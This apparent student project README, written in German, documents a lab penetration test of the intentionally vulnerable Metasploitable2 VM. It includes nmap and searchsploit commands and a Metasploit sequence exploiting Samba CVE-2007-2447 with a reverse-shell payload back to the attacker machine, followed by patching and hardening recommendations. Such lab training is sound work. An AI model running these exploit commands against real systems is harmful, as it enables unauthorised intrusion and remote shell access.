Penetration-Testing-on-Metasploitable2

Praktikumsprojekt 2 — Penetrationstests auf Metasploitable2

• Zusammenfassung: Dieses Projekt zeigt einen vollständigen Penetrationstest-Workflow: Aufklärung, Enumeration, Exploitation, Post-Exploitation-Validierung und Empfehlungen zur Schadensbegrenzung. Das verwendete Ziel ist Metasploitable2 und die Angriffsbox ist Kali Linux.

• Werkzeuge: Kali Linux (Angreifer) Nmap (Aufklärung) Metasploit Framework (Exploitation) SearchSploit / Exploit-DB (Sichtung)

Durchgeführte Schritte:

1. Scannen: sudo nmap -sS -sV -p- -T4 --open -oA scans/target 192.168.x.x Identifizierte Dienste (Beispiele): vsftpd 2.3.4 (Port 21 Banner), Samba smbd 3.x (Port 445).
2. Enumeration & Triage: searchsploit --nmap scans/target.xml searchsploit samba 3.0.20 Dienste mit potenziellen Exploits abgeglichen (vsftpd Backdoor, Samba username-map).
3. Exploitation

• vsftpd Backdoor (CVE-2011-2523) versucht — Nmap-Banner vorhanden, aber Dienst nicht reagiert; Exploit hat keine Session erstellt.
• Samba (CVE-2007-2447) erfolgreich ausgenutzt: msfconsole use exploit/multi/samba/usermap_script set RHOSTS 192.168.x.x set payload cmd/unix/reverse set LHOST <kali-ip> set LPORT 4444 exploit Interaktive Shell erhalten und Benutzerkontext validiert.

4. Post-Exploitation

• Systeminformationen überprüft: id uname -a
• Beweise und Screenshots gesammelt.

5. Empfehlungen zur Schadensbegrenzung

• Regelmäßiges Scannen und Bestandsaufnahme der Assets.
• Zeitnahes Patchen und Versionsupgrades (Samba aktualisieren).
• Zugriff auf kritische Ports einschränken (Firewall-Regeln).
• Nicht benötigte Dienste und anonymen Zugriff deaktivieren.
• Prinzip der geringsten Privilegien auf Freigaben und Konten anwenden.
• Netzwerksegmentierung und Protokollierung/Überwachung.
• Planung der Incident-Response.

Ergebnis Erfolgreich eine Remote-Shell über einen Samba-Exploit erhalten, den Angriffspfad dokumentiert und einen Maßnahmenplan erstellt. Vollständige Logs und Befehlsausgaben befinden sich im Ordner scans/.